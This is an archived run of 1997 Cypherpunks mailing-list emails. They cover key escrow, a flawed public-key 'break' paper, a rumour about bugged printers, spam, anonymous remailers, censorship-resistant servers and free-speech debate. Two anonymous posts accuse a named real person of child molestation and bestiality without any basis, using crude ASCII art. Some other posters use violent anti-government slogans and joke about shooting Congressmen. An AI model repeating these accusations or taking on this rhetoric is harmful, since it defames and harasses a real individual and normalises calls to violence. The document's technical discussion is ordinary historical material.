> self-generated public key for confidentiality, then escrow of the 
> associated private key would be required under our proposals. 

This doesn't make much sense to me. If I were to use such a UTP[*]
then I'd simply get my signature key authenticated and then use that to
sign all my encryption keys rather than getting the UTP to sign them. So 
I'd get the benefits of a recognized authentication on my keys without 
having to worry about key surrender to governments. We don't _need_ to
have anyone authenticate our encryption keys, just the signature keys.

Or am I missing something? (Other than the obvious fact that this is just
the thin end of the wedge)

- -- HP

[*] UTP == Untrusted Third Party


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Charset: noconv

iQDzAwUBM3hStrmgWaN4MfkFAQH0WQbwg2Nj7+DdY5LXnqinjjhiJQCVbumMHbpD
yGHsoJJDY8BdvgtfPKBqFWSZ1OCvqYaM2M87xK5lF6qdVyESVOcr9GKuB3Cpafhk
WPwBOjcdYbL+WzsAo5T8gUH7HFv1dGI0/lMfsc42ik/Wl54YIWeWQr5ptDXpABd7
sSbgr0jjPKoqO2pyAYPS9c3mXooES99zRBDB5edWPf4ACF0u8DcMawZUuAcD+hTH
ILZV80VAnOIKKidRqNry5z90/z0L8F3qVklLRYX5qGyxZE60PEbECSE2lxjio/kh
PfbpoQCb
=ETNt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 14 May 1997 04:01:51 +0800
To: The Spectre <spectre@nac.net>
Subject: Re: [STEGO] Secure envelopes
In-Reply-To: <18052959500386@nac.net>
Message-ID: <Pine.LNX.3.95.970513144312.971A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 13 May 1997, The Spectre wrote:

> In response to this childish, no.cajones.com message, I have removed all
> previous filters and added one, simpler filter on incoming mail.  Delete
> when recieved from nobody@huge.cajones.com or lucifer@dhp.com.
> 
> I suggest you all to the same.. it may actually serve to make this list
> worthwhile...

I suggest that nobody do this, as this will filter out anonymous mail
from these remailers.  You do, of course, have the right to filter out
whomever you want, but there are worthwhile anonymous contributions
from these remailers.  I personally don't see what the big deal is
with these ascii-art messages.  95% of the time, these messages are
very easy to spot, and the remaining 5%, it takes two seconds to hit
the "delete" key.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM3i4hCzIPc7jvyFpAQEeRQgAjC1em8iGn/wrCVW8ZVLMWuKpyXrZRqhX
uEsfghl8zloTbbkQeL/B91UB2VOpwbHTuWj/5KzEFGjqfFPqEnh3ACmTuj1bivIa
5o27zfo2FxHyf5fJRid3EeAw1oMgu5Yw1tza8HGHu1LjuxVI5bbqXibolVIr7h3u
cF3nxlBiP3yCd6kX+55jAIJCUKjOuxegXg2BF5hTir8C3DwRw7yNrl5xwIq2BNUE
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R9oTbOby47NdzFqVjyP6YR58xwHbj6gydH43npgW3kuDibtR4GEr5w==
=Mo8/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Wed, 14 May 1997 10:22:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
In-Reply-To: <1.5.4.32.19970513194224.00928884@pop.pipeline.com>
Message-ID: <5laovn$et@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <1.5.4.32.19970513194224.00928884@pop.pipeline.com>,
John Young  <jya@pipeline.com> wrote:
> In early April we posted a message which referred to
> William H. Payne's paper "Public Key Cryptography is
> Easy to Break."
> 
> Mr. Payne has provided the 1990 5-page draft paper 
> along with other documents, which we've added to the file
> at:
> 
>    http://jya.com/snlhit.htm

Thanks for posting.

I just took a brief look at it, (thanks for forwarding, Lucky),
and it's pure crap-ola.

[ ObTechnicalTrashing: the least x such that 2^x = 1 mod n is
very likely to be of order n, so 2^x (not modulo!) will be a
x-bit integer, and he ends up computing 2^x without doing any
reductions, so the work factor of his method is at least order
n.  Finding a prime factor by exhaustive search (try 2, 3, 5,
7, ...) would be more efficient... Sigh. ]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 14 May 1997 03:29:48 +0800
To: cypherpunks@algebra.com
Subject: Re: Printers are munitions?
In-Reply-To: <v03007800af9e675d4ff2@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970513151744.11039J-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Tim May wrote:

> As for transmitters in printers, this sounds like a variant. Plus, I
> wouldn't think there was enough time between the start of the buildup of
> the U.S. response and the air attacks for the plan to be hatched, for the
> Iraqis to place and receive orders, etc. And the chance of some random
> printer ending up in an air defense station seems unlikely. And so on.

Besides the fact that the US wasn't exporting anything to IRAQ at the
time, along with most of the rest of the western world, where would they
have bought printers from?

(Unless of course they were purchased before the invasion of Kuwait, but
they were our allies until we misled them... hmmmmmmmm...)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 04:10:54 +0800
To: cypherpunks@toad.com
Subject: Public Key Break Paper
Message-ID: <1.5.4.32.19970513194224.00928884@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


In early April we posted a message which referred to
William H. Payne's paper "Public Key Cryptography is
Easy to Break."

Mr. Payne has provided the 1990 5-page draft paper 
along with other documents, which we've added to the file
at:

   http://jya.com/snlhit.htm

The paper is part of several attachments supporting
Mr. Payne's charge against Sandia National Laboratory. 
Other documents in the file help explain why the paper 
is sensitive to SNL and perhaps to NSA.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 04:25:56 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <19571593902558@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 16:01:35 1997

> On Tue, 13 May 1997, The Spectre wrote:
> 
> I suggest that nobody do this, as this will filter out anonymous mail
> from these remailers.  You do, of course, have the right to filter out
> whomever you want, but there are worthwhile anonymous contributions
> from these remailers.  I personally don't see what the big deal is
> with these ascii-art messages.  95% of the time, these messages are
> very easy to spot, and the remaining 5%, it takes two seconds to hit
> the "delete" key.
hmmmm.. Go figure out how many years of your life you'll waste doing that 
once you calculate how many of these messages arrive each hour, let alone 
each day.  I, personally, have been on this mailing list for a while now, 
and have never seen *any* worthwhile posts from either of those remailers, 
or any other for that matter.  If you've got something to say, say it.  
Anything less is cowardice, in one form or another.

Or, if you like, I'll remove my spam filter and you can come hit my delete 
key for me... 


- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzM2vJwAAAEH/1uuDgh1udD+DbU9ies8Lst3j7bmlM+m+aN0gVwerfx+uA14
AG6RDZwwCLwCZYxh0/AizW1b25nHs5XDFW7QIVo1/agtbyz3rt7plcp3wi+rXPxo
zFPgILegG2k81mHYIYVJ1g9bEExVGsNc7GMthkaOjPL2VYirQPRtAa4ZZc6JuCLH
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J0Lc5tZToA==
=tS4W
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3jIoqAC4xvMjGa1AQHYGQf+LnnFnEHTlH+7N1X9gdG+Q+qyp44r1mHu
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CLRjBRpzPSyF3+59uGusxOdLzHIzKjUSrB0xF5n/C07DnEoDa9DvXz1p+XnuPxf5
ZgXbrPMrac66K+Mz16XyJeI7eUjUEpqgc1s4OJuBpLZkCskncL9lUr9lfoHw8neE
g4fjzH4csJ6XWh7z5ZZWN1dK9n8dUe13Er7rTLXT7Y0Md7DlkeyinJqPGd4eoPZ9
z2Rka6QJKBs4JC5cki4Hf9zOnHfJiqc5d30v1A0S+u1paOkoGQd0zQ==
=tJQ6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 07:34:04 +0800
To: cypherpunks@algebra.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <v03007803af9eb56df0ae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:54 PM -0800 5/13/97, Ray Arachelian wrote:

>Point is that in every one of their posts that I've gotten they have a
>"send email to this address with subject cancel" only it doesn't do
>shit.   They place something that makes it look like they will not spam
>you if you ask them not to, but they do anyway.

So?

>Yeah, they use the "cancel" messages to send you more spam instead of
>shutting off all spam.  This is called false advertising, no?

I don't believe in the concept of "false advertising." All advertising is
an attempt in persuasion. Sometimes founded in truth, sometimes in a wish
to believe, sometimes in outright deception. So?

(If "false advertising" were a true crime, most of the world's religions
would surely be shut down.)


>If you want to take it further in to the land of the creatures of theory,
>who owns your email?  Do you?  If so, by right of ownership can you
>decide who isn't to send you email?  You can certainly achieve this by
>filters.  If the spamming scum says "I will stop if you ask me to" and
>you ask him to stop, but he doesn't, what rights have you got against
>him?  What if he is using your email for commercial purposes without your
>consent? etc.....

Look to contract law for your answer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 04:49:43 +0800
To: cypherpunks@toad.com
Subject: Re: [Announce] PGP
Message-ID: <199705132035.QAA03170@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Dr. Dimitri Vulis Spam's propensity to molest 
little boys, and hamsters is it any surprise that the 
state of New York wants to have him castrated?
 
             ,,,
          (o-o)
  -ooO-(_)-Ooo- Dr. Dimitri Vulis Spam.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 05:01:47 +0800
To: cypherpunks@toad.com
Subject: Re: [Stego] Vulis
Message-ID: <199705132042.QAA03538@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr. Demi Vulvis, child molester, carries a turd in his wallet for 
identification purposes.
 
       _@_
       /   \
      | o o |
-U|--U--|U-- Dr. Demi Vulvis (proctologist, not cryptologist)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Wed, 14 May 1997 05:01:50 +0800
To: cypherpunks@toad.com
Subject: Re: Enough of this shit already!
In-Reply-To: <Pine.SUN.3.91.970513110309.5776E-100000@beast.brainlink.com>
Message-ID: <3378E1A5.282B@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> 
> On Tue, 13 May 1997, The Spectre wrote:
> 
> > To: cypherpunks@toad.com
> > Date: Tue May 13 09:55:34 1997
> >
> > > Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> > > computer masturbating at his own imagined cleverness.
> > >
> >
> > This is the down side to anonymous remailers.. I think if you don't have
> > the balls to say something, don't say it.
> >
> > Obviously, someone is saying something they don't wan't other people to
> > think they think..
> >
> > I am, obviously, tired of adding filters to my mailbox.  Please knock off
> > this bullshit.  I think whoever posted this is a pimply young asshole
> > sitting on a c64 attempting to masturbate himself but can't find a
> > microscope with high enough magnification.
> 
> Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> ones that IMHO come from Vulis, the ones to which Graham replies, the
> anonymous ones that reply to Graham, the permutations of them that
> spam Toto, and these.  :(
> 
> If you want to rag on Tim or Vulis, please do so, but not by setting up
> spam bots.  Granted some of those are funny the first time you see them,
> but automating them makes them as welcome as listening to an annoying fly
> buzzing over and over in your face.
> 
> Hell, the nice bomb making spam too is also a bitch being posted here.
> One could give the poster the benefit of the doubt, but it smells quite
> of the tactics used by the Postal fiends that mail child porno to an
> unsuspecting citizen unit, then arrest that citizen unit upon receipt.
> Lets not give the evil onesof the government more horsemen to ride over
> us. :(  A url to the stuff and a summary would have sufficed.  (And I'll
> restrain myself from saying that this was done by Vulis, though IMHO, it
> smells of his style of spam. :)
Right on.  It's nice, and cute the first and second time around,
afterwards, it just get's really annoying.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 14 May 1997 05:26:03 +0800
To: "Sidney R. Phillips" <srp3651@hsct22.ca.boeing.com>
Subject: Re: Printers are munitions?
In-Reply-To: <3378A3E5.41C6@hsct22.ca.boeing.com>
Message-ID: <Pine.LNX.3.94.970513171109.17967P-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Sidney R. Phillips wrote:

> One thing which caught my attention however, was a claim by
> Win Schwartau (of inforwar fame) that NSA had placed narrow band
> transmitters in printers which wound up in air defense sites in Iraq.
> Subsequently the transmissions were used for targeting durring the gulf
> war.  Has anyone heard of a separate source for this?

_2600 Magazine_ had an article about this a few years back, called "Gulf War
Printer Virus," I believe. I think in that version of the story, it wasn't a
narrow band xmitter but a virus that affected a computer connected to the
printer's parallel port, infecting itself via the sole pin ("out of paper" i
think it said) on the port that xmitted from printer to computer rather than
the normal other way around. As to whether or not this virus was of the
computer or media variety, however, remains to be seen.

m





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 14 May 1997 01:22:27 +0800
To: cypherpunks@algebra.com
Subject: Eternity server considerations and musings
Message-ID: <Pine.LNX.3.91.970513165201.835A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



I spent some considerable time today thinking about the eternity server
idea proposed, and implemented in alpha stage, by Adam Back.

The main method used by governments around the world so far to attempt to 
censor information has been the use, or proposal of, proxy servers for 
whole countries or jurisdictions.
This method has only thus far been used to censor www connections, and 
has been used to censor specific sites, hence the use of mirroring to 
circumvent government censorship.

To give an overview of the eternity server idea for those who didn`t see 
the original post the idea was that a non existant virtual TLD .eternity 
would be used to access HTML posted to usenet. So to access a site that 
was at say bombmaking.terrorist.com/assasination/killing.html
you would send your browser to:
 
http://bombmaking.terrorist.com.eternity/assasination/killing.html

The assumption being that the distributed nature of usenet would not 
allow censorship.

The proxies idea however can be extended to censor usenet, usenet 
traffic, although pretty huge, is not yet too large to be grep`d for 
keywords (currently around 600mb of traffic a day passes through the 
newsgroups) before being proxied, so a government can run a server which 
first checks to ensure the usenet article is not encrypted (this can be 
done crudely by checking for occurances of common words or by checking 
the redundancy of the text by attempting to compress it) and if it is 
encrypted junks it, if it is plaintext, greps it for keywords like 
"assasination", "anarchy", "porn" etc... then kills the articles that 
have these words in them, the other articles the government does not want 
to censor are put on a main server like news.fourth-reich.de and access 
blocked to all the other news servers.

I know this might seem an unlikely scenario but it is not really when we 
consider the wacky ideas we have seen from governments in recent years, a 
dictatorship like France or Germany might begin implementing this within 
a few years, although the German government has had it`s fingers burnt 
recently with the Radikal fiasco.

What I was considering was the possibility of circumventing proxies 
altogether, this is not an easy question and I could not think of one 
single way to get access, of course one could use and ISP outside of the 
jurisdiction but this incurs internation call charges for dial up users, 
and the gubmint of fascist-regime-N can block telephone access to 
internet POPs outside of their country.

The problem with attempting to prevent censorship of usenet is that we 
cannot mirror it like we can web sites, the web is too huge for a 
government to mirror the whole of the "acceptable" part of it, so 
mirroring sites faster than they can block them is effective, usenet is 
too small to protect in this way, it could be effectively mirrored and 
all other access killed. Of course while we can mirror sites to prevent 
censorship this is almost an academic question, rather than a practical 
one, however, it would be nice to see a more robust system which thwarted 
all attempts to censor without the need for human intervention by 
mirroring sites etc.

I can see no way that a government can censor internal traffic within a 
country, because this need not pass through the proxy, so if we can get a 
copy of a document onto one server within a country all others can access 
it through a virtual URL. However, this is likely to incur the 
displeasure of the authorities in that country and have them knocking at 
the door of the owner of the server holding the document, so we would 
have to have a system for server anonymity. This is all getting very 
complicated ;-)

Anyway, as I have said, I can give no insight here into what is a 
possible solution, I hope that this post might cause someone who does 
have the beginnings of an idea to think about it some more and maybe give 
us a really robust solution to preventing censorship of this kind.
   

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Wed, 14 May 1997 05:33:47 +0800
To: cypherpunks@toad.com
Subject: Would the anonymous person(s) please...
Message-ID: <3378E8E5.1B6B@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Would all those anonymous remailing people with a flame tendency, please
flame the person of your attacks, and don't send this bullshit to the
list?  Thanks...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 14 May 1997 09:20:21 +0800
To: tcmay@got.net>
Subject: Re: "The policeman inside"
Message-ID: <199705140042.RAA21706@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 May 97 at 9:19, Tim May wrote:

> As ur-cyberpunk Burroughs noted, we must beware "the policeman
> inside."
> 
> Authorities _want_ people to "police themselves," to think twice
> before speaking freely, to limit the topic of their conversations,
> and to generally fear the knock on the door late at night (or, in
> fin de siecle Amerika, the suddent appearance of black-clad ninja in
> one's bedroom at 4 a.m., shooting anything that moves).

Hey, that shit scares me, too.  BUT:
 
> Bomb-making information is protected by the First Amendment. Period.

Correct.  It's using that technology that's the crime, in most cases.
 
> So is crypto information. So is saying Congressmen are vermin who
> need to be taken out and shot.

I think you can say "taken out and Spanked Naked In The Streets" I 
don't think you can advocate shooting them...  Correct me if I'm 
wrong.
 
> Get this straight, people!

The  First Amendment *IS* still in force.
 
> (Now whether such opinions are to one's taste, or whether the
> Cypherpunks list is a reasonable forum for posting bomb-making
> plans...well, that's a completely different issue, one of taste and
> appropriateness,

First Amendment issues are *on topic*.

> than the calls by Declan and Ray that such messages
> are dangerous and could invite retaliation by the Authorities. If
> that's indeed the case, then by all means we should be posting
> bomb-making instructions and calls for treason trials with street
> justice.)

Hey, *They* read this list anyways.  Fuck *Them* Hard.
 
> Beware the policeman inside.

Fuck the FBI, Fuck the CIA.  Fuck 'em all.  Now that's freedom!  God, 
I love America!  

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 14 May 1997 09:09:15 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <199705140045.RAA09717@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



DF:
>
>Most of the violence in interactions between people and governments is on the
>government side.  The U.S. government and others have been committing mass
>murder for years.  Supporters of those governments thus support mass murder
>for "political ends."
>
>Governments have murdered 170 million people since 1900.  My
>back-of-the-envelope estimate is that the civilians of the world have only
>murdered about 20 million people in the same period of time.  Quite a
>disparity.

therefore, it is ok for civilians to murder government officials, 
or engage in any other damaging conduct.
CED (cypherpunk QED) endorsed by TCM, Bell, etc. ad nauseum





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 14 May 1997 00:09:29 +0800
To: cypherpunks@algebra.com
Subject: Crypto AG web site
Message-ID: <199705131551.RAA20430@rzdspc5.informatik.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text


"Thanks to comprehensive ciphering expertise and 45 years of experience,
the Zug/Switzerland based company enjoys an excellent reputation all
around the world and is trusted by customers in over 130 countries in
all continents."

http://www.crypto.ch





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 09:36:34 +0800
To: "Ross Wright" <cypherpunks@algebra.com
Subject: Re: "The policeman inside"
In-Reply-To: <199705140042.RAA21706@adnetsol.adnetsol.com>
Message-ID: <v03007804af9ecee3ec1d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:41 PM -0800 5/13/97, Ross Wright wrote:
>On or About 13 May 97 at 9:19, Tim May wrote:

>> So is crypto information. So is saying Congressmen are vermin who
>> need to be taken out and shot.
>
>I think you can say "taken out and Spanked Naked In The Streets" I
>don't think you can advocate shooting them...  Correct me if I'm
>wrong.

This has of course come up several times. The usual legal scholars can cite
chapter and verse, but it is of course perfectly legal to say that all
lawyers ought to be killed, that all politicians are scum and should be
killed, etc. It is even legal to say that all honkies ought to be offed.
And legal to express the view that the world would be a better place if
O.J. Simpson is someday killed by some brave soul.

What may be illegal--and even this if iffy--is to "incite" a _particular_
act of violence, such as urging a mob to lynch a prisoner, or perhaps
running an AP betting pool. Legal experts can discuss relevant cases here.

(Plus, the expression "taken out and shot" has cultural context implying it
is not a specific course of action being proposed. In a similar vein,
arguing that it would be a good thing if D.C. were to vanish in a puff of
plutonium smoke, or even that "D.C. ought to be nuked," these are certainly
protected First Amendment sentiments.)

What is certainly protected, or at least has been protected for centuries,
is the expression of opinions that somebody needs killing. It may be tacky
to wish death on someone (but not always tacky), but what specific crime is
being committed?

As is well known, general advocacy of violence is protected speech (modulo
some special cases that legal experts can cite).

There is a specific exception: advocating the violent overthrow of the U.S.
government. One can advocate violence, one can advocate the (non-violent)
overthrow of the government (which we call "elections"), but one cannot
advocate the violent overthrow of the government.

(Again, legal beagles can discuss cases. Clearly many have advocated the
violent overthrow of the gubment, as the Black Panthers and Weathermen did,
and yet this was not what they were charged with. So, while technically
illegal, rarely prosecuted.)


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 10:02:31 +0800
To: cypherpunks@algebra.com
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <v03007805af9ed5fd9760@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:34 PM -0800 5/13/97, Jim Choate wrote:

>> > * Is it possible for the interlinked lists to send out announcements of
>> > list problems to subscriber of all such lists? (Each list owner could do a
>> > periodic "who cypherpunks" of the other lists, then use this list to
>>send a
>> > message if a problem comes up. More sophisticated cross-processing could
>> > eliminate duplicates, etc.)
>
>Sounds like time to start another list subscribed to the existing nodes
>and offer such services to the subscribers at the operators whim.
>
>I oppose any action which would force the list to become more 'cooperative'
>in the sense that each node operator would be forced (sorta anti-cpunks I
>believe) to comply with some set of scripts and such they didn't develop in

I wasn't advocating either:

a) any "forcing" of anything

b) any compliance with scripts, cooperation, etc.

Instead, imagine this "service":

- a distribution point (= list) which subscribes to all of the various
lists (cyberpass, algebra, ssz, etc.)

- it sends out to subscribers the first instance of any message it receives

- duplicates (see discussion below) would not be sent

- it would, ideally, be on a robust machine

The "duplicates" issue has been discussed by others. Even if message IDs
are not enough to find duplicates--someone reported that the same message
from algebra and cyberpass have different IDs--I would think that using the
sender, message title, and date of origin ought to be more than enough to
spot duplicates.

Thus, the message "Re: The Interlinked Cypherpunks Lists? (fwd), 4:34 PM
-0800 5/13/97, Jim Choate" should be unique.


>Now some of you are going to say that this is taking it to extremes. That
>what is being proposed is a good thing and not something that could be used
>to 'manipulate' the lists. The road to hell is paved with good intentions,
>and the guy driving the paving truck only wants to help you (as he paves
>your petunia's).

No, this is just another filtering service, one designed to collect
messages from as many inputs as possible and send them out, without
duplicates.


>> > * Alternatively, if one of the sites goes down, such as
>> > "cypherpunks@cyberpass.net" seems to have done, could the other sites
>> > automagically pick up the task of distributing articles until the site
>> > comes back up?
>
>This again is anti-cpunks, it forces a level of cooperation and information
>sharing that is in direct opposition to beliefs in anonymity and privacy.
>I don't want it known who is subscribed to lists through SSZ, in short:
>It isn't any of your damn business and quit asking.

No one has ever said you, or SSZ, or anyone, has to participate.


>Solution? Get a life or start an archive site.
>

"Get a life." What an original insult.

Reminds me why you usually reside in my filter file, Jim. Back in it you go.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 13:58:26 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <v0302098baf98c132e204@[139.167.130.248]>
Message-ID: <3.0.1.32.19970513185328.0065abc8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 5/9/97 -0800, Tim May wrote:
>I am shipping a few bottles of California's finest merlot (much nicer than
>the trendy cabernets) to my sister and her husband in Hollywood, FL.

You're a bit late - merlots have been getting more trendy :-)
But Chiles hasn't signed the Florida law quite yet, so you're also early.
Do they even _grow_ wine in Florida?  You'd think it would be the 
cocaine industry trying to get their product regulated to keep prices high.

>There's something wrong when I'm a felon under an increasing number of laws.

It's especially ridiculous that shipping wine should be a *felony*.
Mike Froomkin points out that the Constitutional Amendment ending
Prohibition lets states make their own stupid decisions like this,
and it probably overrides Commerce Clause controls.
You'd expect that a law that's made primarily to protect business
interests would have business-oriented penalties - like fines for
conducting wine-shipping without a wine-shipping license,
or triple fines for not filling out paperwork in triplicate.

Does anyone know if either state's laws also penalize the 
recipient of the Demon Grape, or only the sender?  
(And is there a list of the state legislators on-line? 
"Dear Senator Foobar:  If you'd passed S.B.336, you'd be busted now!")

About 10 years ago, New Jersey legalized home-made wine and beer,
with a requirement that you get a $3 permit.  Nobody'd particularly
realized it wasn't legal, and in a heavily Italian state people had
been making wine at home since Prohibition ended (...),
and everybody agreed it was stupid to keep it illegal.
But the burons wanted to retain _some_ control, hence the permit.
Enough people complained about it that they dropped the
permit requirement pretty quickly.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 14 May 1997 07:06:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970513184927.5776Y-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Tim May wrote:

> Much as it pains me to dispute my usual ideological ally Ray A., the "they
> should honor your request" is problematic.

To elaborate:

Point is that in every one of their posts that I've gotten they have a 
"send email to this address with subject cancel" only it doesn't do 
shit.   They place something that makes it look like they will not spam 
you if you ask them not to, but they do anyway.

> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"
> 
> So?

Yeah, they use the "cancel" messages to send you more spam instead of 
shutting off all spam.  This is called false advertising, no?

If you want to take it further in to the land of the creatures of theory, 
who owns your email?  Do you?  If so, by right of ownership can you 
decide who isn't to send you email?  You can certainly achieve this by 
filters.  If the spamming scum says "I will stop if you ask me to" and 
you ask him to stop, but he doesn't, what rights have you got against 
him?  What if he is using your email for commercial purposes without your 
consent? etc.....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





